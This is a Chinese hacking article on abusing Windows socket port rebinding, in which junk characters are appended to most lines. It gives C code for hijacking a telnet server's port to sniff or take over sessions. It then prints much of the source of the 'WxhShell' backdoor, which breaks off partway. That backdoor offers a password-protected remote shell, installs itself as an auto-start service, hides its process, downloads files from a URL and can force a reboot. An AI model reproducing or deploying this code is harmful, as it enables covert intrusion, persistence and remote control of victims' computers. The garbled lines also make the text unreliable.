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利用VC实现端口复用

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8v)HTD/C  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T~4HeEG>uH  
:R3&R CTZ  
  saddr.sin_family = AF_INET; U@(8)[?nxn  
/gn\7&=P  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {7v|\6@e3  
S'>KGdF  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %O{FZgi%wA  
;2^zkmDM  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >!c Ff$2'  
P E[5oH  
  这意味着什么?意味着可以进行如下的攻击: _ -,[U{  
e$mVA}>Ybp  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 M R,A{X  
W!TT fj   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `}8)P#  
'%YTM N@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0t*PQ%  
Ad -_=a%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !L_xcov!Y  
rERtOgi  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =CL,+  
Z$35`:x&h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 w2U]RI\?2  
'z+Pa^)v  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 v~p?YYOm<  
9>_VU"T  
  #include xx?0Ftuq  
  #include <YWu/\{KT  
  #include v v   
  #include    J>nta?/,X  
  DWORD WINAPI ClientThread(LPVOID lpParam);   NCm=l  
  int main() E#kH>q@K`$  
  { 5F :\U  
  WORD wVersionRequested; U)z1RHP|z  
  DWORD ret; dtXtZ!g2  
  WSADATA wsaData; [ .3Gb}B  
  BOOL val; (8em5  
  SOCKADDR_IN saddr; 9AD0|,g  
  SOCKADDR_IN scaddr; ?w)A`G_  
  int err; i_I`  
  SOCKET s; 475jmQ{q  
  SOCKET sc; J.0&gP V  
  int caddsize; TJ,?C$3  
  HANDLE mt; A~L Ti  
  DWORD tid;   6\)u\m`7-l  
  wVersionRequested = MAKEWORD( 2, 2 ); LD,T$"  
  err = WSAStartup( wVersionRequested, &wsaData ); V7+/|P_  
  if ( err != 0 ) { ^q<EnsY  
  printf("error!WSAStartup failed!\n"); }5X.*wz  
  return -1; >PGsY[N  
  } T$V8 n_;  
  saddr.sin_family = AF_INET; mrVN&.  
   fo I:`]2"*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,yi@?lc  
Pfm B{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); lI5>d(6p  
  saddr.sin_port = htons(23); #4Cf-$J  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lB|.TCbW  
  { E/E|*6R  
  printf("error!socket failed!\n"); &(20*Vn,O  
  return -1; mUiJ@  
  } WkoYkkuzj  
  val = TRUE; pU u')y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >Q)S-4iR  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) g G|4+' t  
  { zXd#kw;  
  printf("error!setsockopt failed!\n"); YIYuqtnSJ  
  return -1; e"2x!(&n(  
  } u5,vchZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; d-]!aFj|U  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 b_@bS<wsF}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 A}1:fw\Fn3  
#|Je%t}~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `oE.$~'  
  { <H1e+l{8$  
  ret=GetLastError(); V("T9g  
  printf("error!bind failed!\n"); N/E=-&E8  
  return -1; Ge76/T%{Q  
  } "(:8 $Fb  
  listen(s,2); Ft>,  
  while(1) BU^E68?G  
  { ulk yP  
  caddsize = sizeof(scaddr); o* QZf *M  
  //接受连接请求 u 0 K1n_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); QW%xwV?8  
  if(sc!=INVALID_SOCKET) QX9['B<  
  { QwI HEmdM  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "3?:,$*  
  if(mt==NULL) k:1|Z+CJ  
  { )/{~&L U  
  printf("Thread Creat Failed!\n"); A{52T]9X  
  break; j*_#{niy:  
  } 5)M#hx%]#  
  } 4o@^._-R  
  CloseHandle(mt); yLt>OA<X  
  } 1qwJPM  
  closesocket(s); yIS&ZtBA  
  WSACleanup(); ab<7jfFIa  
  return 0; _6 yrd.H  
  }   ~@iYP/=/Q  
  DWORD WINAPI ClientThread(LPVOID lpParam) =Flr05}m  
  { m=]}Tn  
  SOCKET ss = (SOCKET)lpParam; ]T>YYz  
  SOCKET sc; .O9Pn,:  
  unsigned char buf[4096]; & )EL%o5  
  SOCKADDR_IN saddr; a+n?y)u  
  long num; OEHw%  
  DWORD val; V}4u1oG  
  DWORD ret; cHwN=mg]S  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Zor Q2>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !(N,tZ  
  saddr.sin_family = AF_INET; !]!9 $6n  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); jL~. =QD  
  saddr.sin_port = htons(23); 8;Df/ %  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rVnolA*%  
  { $`/F5R!  
  printf("error!socket failed!\n"); 4n.EA,:g:(  
  return -1;  ~&_BT`a  
  } `I5So-^&z  
  val = 100; b"~Ct}6f  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4&E &{<;  
  { p,#**g:  
  ret = GetLastError(); e&=T`  
  return -1; g0RfvR  
  } Il<ezD{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \J{ %xW>  
  { yrR,7v J  
  ret = GetLastError(); +RD{<~i  
  return -1; /909ED+)>9  
  } P Z+Rz1x  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) G~Fjla\?Q  
  { Yo2n [  
  printf("error!socket connect failed!\n"); ~g;lVj,N'  
  closesocket(sc); 0S>U_#-  
  closesocket(ss); XO4rrAYvW  
  return -1; u[coWaPsZ  
  } AW`+lE'?  
  while(1) 1;[ZkRbzL  
  { u-~?ylh  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 J<7nOB}OD  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  xXZ {  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 I~7eu&QZ  
  num = recv(ss,buf,4096,0); B_|jDH#RyJ  
  if(num>0) x^6sjfAW  
  send(sc,buf,num,0); o!|TCwt  
  else if(num==0) ,"4  
  break; QgW4jIbx  
  num = recv(sc,buf,4096,0); q,_ 1?A)  
  if(num>0) 7j\jOkl V  
  send(ss,buf,num,0); N >+L?C  
  else if(num==0) :8Jn?E (36  
  break; >*[Bq;  
  } 7_AcvsdW  
  closesocket(ss); 4[m4u6z=  
  closesocket(sc); %!Ak]|[7  
  return 0 ; HVcd< :g0  
  } uVV;"LVK~  
<*74t%AJ%  
-$_h]x* W  
========================================================== WiclG8l  
$~2qEe.h  
下边附上一个代码,,WXhSHELL ai(J%"D"  
)I9Wa*I  
========================================================== x-ShY&k  
s4Z5t$0|  
#include "stdafx.h" `$N AK  
L\H,cimN  
#include <stdio.h> +;wu_CQu  
#include <string.h> <Q? X'.  
#include <windows.h> ih/MW_t=m=  
#include <winsock2.h> j`kw2(  
#include <winsvc.h> X{b qG]j  
#include <urlmon.h> uE{nnNZy  
E;^~}  
#pragma comment (lib, "Ws2_32.lib") gdyP,zMD7  
#pragma comment (lib, "urlmon.lib") *%xmCP J  
X3;|h93.a  
#define MAX_USER   100 // 最大客户端连接数 4V0j1 k&'  
#define BUF_SOCK   200 // sock buffer HX:rVHY  
#define KEY_BUFF   255 // 输入 buffer }[*BC5{>  
EBPm7{&0|  
#define REBOOT     0   // 重启 hM @F|t3  
#define SHUTDOWN   1   // 关机 RA~%Cw4t  
^8r4tX  
#define DEF_PORT   5000 // 监听端口 , H_Cn1l  
1]vrpJw  
#define REG_LEN     16   // 注册表键长度  7ehs+GI  
#define SVC_LEN     80   // NT服务名长度 F82_#|kpS  
Jd>"g9  
// 从dll定义API 6?v)Hb}J%d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s'|^6/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AHre#$`97  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @.Pe.\Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -Am ~CM  
S+EC!;@Xg  
// wxhshell配置信息 Z6I^HG{:  
struct WSCFG { ~&Gw[Nd1  
  int ws_port;         // 监听端口 wx|eO[14  
  char ws_passstr[REG_LEN]; // 口令 o {bwWk7v6  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q(Dp116  
  char ws_regname[REG_LEN]; // 注册表键名 L0H kmaH  
  char ws_svcname[REG_LEN]; // 服务名 { f@k2^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s'/ g:aJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }+8w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *@2?_b}A ^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _n;V iQMu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /HmD/E\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y84= Q  
)q48cQ  
}; ,U#$Qb 12  
w1+xlM,,9  
// default Wxhshell configuration r-$SF5uv  
struct WSCFG wscfg={DEF_PORT, iCYo?>  
    "xuhuanlingzhe", ^Pk-<b4}  
    1, tOK lCc  
    "Wxhshell", {$ghf"  
    "Wxhshell", >}~Pu| _ S  
            "WxhShell Service", b4$-?f?V  
    "Wrsky Windows CmdShell Service", {b^JH2,  
    "Please Input Your Password: ", D d$ SQ  
  1, SDTX3A1  
  "http://www.wrsky.com/wxhshell.exe", )J"Lne*"  
  "Wxhshell.exe" v~N8H+! d  
    }; ):lq}6J#  
(&U8NeWZ  
// 消息定义模块 l`s_ #3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k]=Yi;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $6a55~h|(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =sk]/64h``  
char *msg_ws_ext="\n\rExit."; u^T{sQ"_  
char *msg_ws_end="\n\rQuit."; OJUH".o  
char *msg_ws_boot="\n\rReboot..."; jc|"wN]  
char *msg_ws_poff="\n\rShutdown..."; :N<ZO`l?  
char *msg_ws_down="\n\rSave to "; 7Xu.z9y  
)r#^{{6[v  
char *msg_ws_err="\n\rErr!"; dM{xPpnx  
char *msg_ws_ok="\n\rOK!"; ~97T0{E3  
C"I:^&sL  
char ExeFile[MAX_PATH]; 8Ilg[Drj*  
int nUser = 0; iv*Ft.1t  
HANDLE handles[MAX_USER]; 0# D4;v  
int OsIsNt; "+2Hde1  
u[_~ !y  
SERVICE_STATUS       serviceStatus; (0Xgv3wd  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U!L<v!$  
e?%Qv+)W  
// 函数声明 >900O4  
int Install(void); IGj%)_W  
int Uninstall(void); bojx:g  
int DownloadFile(char *sURL, SOCKET wsh); e{~s\G8g  
int Boot(int flag); ZlHN-!OZp  
void HideProc(void); =8?gx$r2  
int GetOsVer(void); ;=IGl:  
int Wxhshell(SOCKET wsl); zice0({iJ  
void TalkWithClient(void *cs); fD#VI   
int CmdShell(SOCKET sock); piE9qXn  
int StartFromService(void); W[]N.d7G  
int StartWxhshell(LPSTR lpCmdLine); 5sD\4g)HK  
h^h!OQKQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |RBgJkS;8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !YlyUHD  
jj,Y:  
// 数据结构和表定义 E}aTH  
SERVICE_TABLE_ENTRY DispatchTable[] = 5fK#*(x  
{ LY%`O#i.  
{wscfg.ws_svcname, NTServiceMain}, C ebl"3Q  
{NULL, NULL} G!J{$0.  
}; x;,H>!r"i  
}\E2Z[  
// 自我安装 ^d!(8vh  
int Install(void) YPraf$  
{ `k}  
  char svExeFile[MAX_PATH]; 85P7I=`*d  
  HKEY key; T/#$44ub  
  strcpy(svExeFile,ExeFile); HF9d~7R  
;Zb+WGyj  
// 如果是win9x系统,修改注册表设为自启动 IiG~l+V~  
if(!OsIsNt) { jrGVC2*rD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )E<<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1>$ fLbmkI  
  RegCloseKey(key); |0vV?f$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UwuDs2 t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _VFxzM9f  
  RegCloseKey(key); -z]v"gF?Px  
  return 0; %Y"@VcN  
    } [:geDk9O#'  
  } Zk*/~f|\  
} Cf'O*RFD  
else { 8-Ik .,}  
je6H}eWTC6  
// 如果是NT以上系统,安装为系统服务 Y]ML-smN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .` z](s  
if (schSCManager!=0) s7?Q[vN  
{ t1,sG8Z  
  SC_HANDLE schService = CreateService LHjGlBy  
  ( v:c_q]z#B  
  schSCManager, hm=E~wv'L  
  wscfg.ws_svcname, ^zPa^lo-  
  wscfg.ws_svcdisp, &BnK[Q8X  
  SERVICE_ALL_ACCESS, 9*gD;)!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PT7L65  
  SERVICE_AUTO_START, SqL8MKN)  
  SERVICE_ERROR_NORMAL, 9K*yds  
  svExeFile, okx~F9  
  NULL, a $pxt!6  
  NULL, <4,n6$E  
  NULL, >r] bfN,  
  NULL, 1*{` .  
  NULL |tC`rzo  
  ); tL68 u[  
  if (schService!=0) U$R+&@;  
  { K4]c   
  CloseServiceHandle(schService); 9/[3xhB4  
  CloseServiceHandle(schSCManager); qk pnXQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ur`Ri?  
  strcat(svExeFile,wscfg.ws_svcname); ob=GB71j55  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f!;4 -.p`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [U_S u,  
  RegCloseKey(key); ViqcJD  
  return 0; : E `N0UA  
    } "V!y"yQ  
  } H"8fnN=xB  
  CloseServiceHandle(schSCManager); HCHZB*r[  
} Fw!CssW  
} @}:}7R6  
?[>+'6  
return 1; wykk</eQ.i  
} >'3J. FY  
1?\ #hemL  
// 自我卸载 gz6BfHQG  
int Uninstall(void) 3dG[dYj  
{ ^a~^$PUqI  
  HKEY key; y#HDJ=2  
\^9SuZ  
if(!OsIsNt) { uop|8n1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A+d&aE }3V  
  RegDeleteValue(key,wscfg.ws_regname); _ F&BSu  
  RegCloseKey(key); f6x}M9xS%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]J\tosTi  
  RegDeleteValue(key,wscfg.ws_regname); iOI8'`mk  
  RegCloseKey(key); m\~{l=jIS  
  return 0; h~rSM#7m  
  } _w8iPL5:  
} j,")c'r&dD  
} y=)Cid  
else { B`,4M&  
SXn\k;F<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @l~zn%!X  
if (schSCManager!=0) |) {)w`  
{ *C*n( the  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5/-{.g   
  if (schService!=0) 5\Sm^t|Tx  
  { yrO \\No#H  
  if(DeleteService(schService)!=0) { eyK=F:GO  
  CloseServiceHandle(schService); 3*9<JHu  
  CloseServiceHandle(schSCManager); :K{!@=o  
  return 0; e1ru#'z  
  } >gqM|-uY  
  CloseServiceHandle(schService); MM8r*T4g/  
  } .JIn(  
  CloseServiceHandle(schSCManager); X PnN"Y"y  
} ,B ]kX/W  
} W$=MuF7R  
C<Q;3w`#1j  
return 1; Tl9KL%9  
} m'&^\7;D  
{?c `0C  
// 从指定url下载文件  qOO2@c  
int DownloadFile(char *sURL, SOCKET wsh) _]W {)=ap  
{ Ar4@7  
  HRESULT hr; HY[eo/nM1d  
char seps[]= "/"; {U?UM  
char *token; _h1n]@ d5  
char *file; KTX;x2r  
char myURL[MAX_PATH]; NLZTIZCK  
char myFILE[MAX_PATH]; uXPvl5(Y?  
8w &A89  
strcpy(myURL,sURL); ).HYW _Yih  
  token=strtok(myURL,seps); J0@ ^h  
  while(token!=NULL) yZJR7+  
  { zb/w^~J_i  
    file=token; (orO=gST-/  
  token=strtok(NULL,seps); _l}"gUtiw  
  } c%,~1l  
^M60#gJ  
GetCurrentDirectory(MAX_PATH,myFILE); H2oAek(  
strcat(myFILE, "\\"); |pB[g> ~V  
strcat(myFILE, file); "NqB_?DT  
  send(wsh,myFILE,strlen(myFILE),0); ]DcQ8D  
send(wsh,"...",3,0); ao>`[-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GrWzgO  
  if(hr==S_OK) (~t/8!7N  
return 0; ^|KX)g  
else Y'6GY*dL  
return 1; /8 /2#`3R  
ptXCM[Z+  
} %G!BbXlz  
u'"VbW3u n  
// 系统电源模块 >W%tEc  
int Boot(int flag) #SiOx/  
{ gKK*` L~  
  HANDLE hToken; )sg@HFhY'  
  TOKEN_PRIVILEGES tkp; j_2-  
xf/ SUO F  
  if(OsIsNt) { *3_@#Uu7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +/,J$(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nY7 ZK  
    tkp.PrivilegeCount = 1; !o A,^4(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7I>@PV N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @ %LrpD  
if(flag==REBOOT) { 0_7A <   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  h"<-^=b  
  return 0; u*/.   
} B16,c9[  
else { cnfjO g'\{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6`$HBX%.K  
  return 0; 0&!,+  
} __Ei;%cV  
  }  #P8R  
  else { m4FT^ ^3yE  
if(flag==REBOOT) { fN4d^0&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9\F:<Bf$#  
  return 0; *^cJn*QeL  
} bnS"@^M  
else { I@x^`^+l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l_ /q/8-l  
  return 0; go^?F- dZ  
} IyvJwrO  
} Na8%TT>  
[0v`E5  
return 1; 7Ddo ^Gtx  
} vvEr}G  
w-9FF%@<  
// win9x进程隐藏模块 R~nbJx$  
void HideProc(void) }F'B!8n  
{ |fYr*8rH  
dq$H^BB+>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nZ>8r  
  if ( hKernel != NULL ) dD _(MbTt  
  { </,RS5ukn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); + k1|+zzS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >U/ m/H'  
    FreeLibrary(hKernel); o5(`7XV6D  
  } )%D2JC  
@SH%l]  
return; x^_(gve:  
} JVO,@~~  
7`,A]":;  
// 获取操作系统版本 7}+U;0,)  
int GetOsVer(void) xE+Nz5F  
{ 1t"  
  OSVERSIONINFO winfo; UOTM>d1P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); d^5OB8t  
  GetVersionEx(&winfo); kaBP& 6|Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "o+E9'Dm  
  return 1; I"/p^@IX  
  else Er; @nOyD  
  return 0; h*J=F0KM  
} hdZ{8 rP  
D,FX&{TYU  
// 客户端句柄模块 p-d2HXo  
int Wxhshell(SOCKET wsl) CF|c4oY82  
{ 4{!7T  
  SOCKET wsh; -8;@NAUa  
  struct sockaddr_in client; NYS |fa  
  DWORD myID; {Vy2uow0  
}cDw9;~D  
  while(nUser<MAX_USER) laVqI|0q  
{ [v7)xV@c  
  int nSize=sizeof(client); 5&}~W)"9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dW hU o\>=  
  if(wsh==INVALID_SOCKET) return 1; >l|ao&z>bm  
".Lwq_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F/BB]gUB  
if(handles[nUser]==0) 7g'jg7  
  closesocket(wsh); KjK.Sv{N  
else ~";GH20  
  nUser++; m0XdIC]s  
  } cuenDw=eC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k+8K[ ?K-  
6.X| . N  
  return 0; q/I':a[1  
} 3C8cvi[IS  
JO*}\Es  
// 关闭 socket a`]Dmw8@  
void CloseIt(SOCKET wsh) BEn,py7  
{ Q a(>$.h  
closesocket(wsh); N%8O9Dp8;  
nUser--; &j4 1<A  
ExitThread(0); crx8+  
} ^Fmp"[q  
5[^pU$Y  
// 客户端请求句柄 AcF6p)@_  
void TalkWithClient(void *cs) P+tnXT>nE  
{ zoFCHs r  
Y", :u@R  
  SOCKET wsh=(SOCKET)cs; E+>$@STv#  
  char pwd[SVC_LEN]; |3tq.JU  
  char cmd[KEY_BUFF]; U Ps7{We W  
char chr[1]; eBw6k09C+  
int i,j; 9 gt$z}oU  
][Ne;F6  
  while (nUser < MAX_USER) { lFHj]%Y  
F(j vdq  
if(wscfg.ws_passstr) { .Sz<%d7XIQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xiv1y4(%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2<18j  
  //ZeroMemory(pwd,KEY_BUFF); [ArPoJt  
      i=0; eUa2"=M  
  while(i<SVC_LEN) { Yv="oG!xL  
d9'gH#f?  
  // 设置超时 &YAw~1A  
  fd_set FdRead; P2lDi!q|  
  struct timeval TimeOut; Yo`#G-]  
  FD_ZERO(&FdRead); lLq9)+HGN  
  FD_SET(wsh,&FdRead); 7m{YWR0  
  TimeOut.tv_sec=8; _0Mt*]L }  
  TimeOut.tv_usec=0; ^SdorPOq&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ==$>M d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Yh=/?&*  
tvh)N{j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2(5HPRQ  
  pwd=chr[0]; #dcfQ  
  if(chr[0]==0xd || chr[0]==0xa) { /uXEh61$8  
  pwd=0; Kwc~\k  
  break; Tyc`U&  
  } Xi^#F;@sU  
  i++; y]dA<d?u  
    } lRIS&9vA3  
6rBXC <Z  
  // 如果是非法用户,关闭 socket $kc*~V~   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); okl*pA)  
} /eZ UAxq  
b:OQ/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n2<#]2h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +YS0yTWeX  
Gag=GHG  
while(1) { (QARle(i  
$j ZU(<4,  
  ZeroMemory(cmd,KEY_BUFF); <{ Z$!]i1  
\YV`M3O  
      // 自动支持客户端 telnet标准   W<W5ih,#  
  j=0; #x) lN  
  while(j<KEY_BUFF) { =#tQhg,_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w 0V=49  
  cmd[j]=chr[0]; y$J M=f$  
  if(chr[0]==0xa || chr[0]==0xd) { hj~nLgpN  
  cmd[j]=0; =LP,+z  
  break; c:%ll&Xtn  
  } }p2YRTHx  
  j++; 6Dx^$=Sa$  
    } P5vxQR_*lc  
@j|B1:O  
  // 下载文件 az5 $.  
  if(strstr(cmd,"http://")) { b+Ly%&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }ioHSkCD  
  if(DownloadFile(cmd,wsh)) 0vu$dxb[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); BQWe8D  
  else .{pc5eUf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I2U/ \  
  } ^#^\@jLm  
  else { 6k|^Cs6~z  
]z^*1^u^ig  
    switch(cmd[0]) { {w,g~ew `  
  D7| =ev  
  // 帮助 jB"?iC.  
  case '?': { h x _,>\@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p5 !B  
    break; 4P1<Zi+<  
  } Bu:h_sV D  
  // 安装 W7k0!Grrl  
  case 'i': { #&L[?jEn  
    if(Install()) xEX"pd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {6V;$KqH6  
    else aGUKpYF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `i'72\(  
    break; F@+FXnz  
    } {  S]"-x  
  // 卸载 tH7@oV;  
  case 'r': { 9e`.H0  
    if(Uninstall()) WAzYnl'p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =.*+c\  
    else |H!kU.f]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mBp3_E.t  
    break; -#9Hb.Q;  
    } sYt\3/yL'  
  // 显示 wxhshell 所在路径 n0/H2>I[  
  case 'p': { =th(Hdk17  
    char svExeFile[MAX_PATH]; -AJ$-y  
    strcpy(svExeFile,"\n\r"); N-lo[bDJh  
      strcat(svExeFile,ExeFile); dKKh^D`~  
        send(wsh,svExeFile,strlen(svExeFile),0); Z9TUaMhF  
    break; Y? 1 3_~ K  
    } eM3-S=R?<g  
  // 重启 jbDap i<  
  case 'b': { qHAZ)Tz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 51,RbADB  
    if(Boot(REBOOT)) ]8Eci^i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =V)88@W  
    else { BA1|%:.   
    closesocket(wsh); 1$Jria5n  
    ExitThread(0); ,KM-DCwcG  
    } {iz,iv/U  
    break; p "J^  
    } T7wy{;  
  // 关机 Lc0 U-!{G  
  case 'd': { [<2#C#P:6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,-4SVj8$P  
    if(Boot(SHUTDOWN)) 7wO0d/l_  
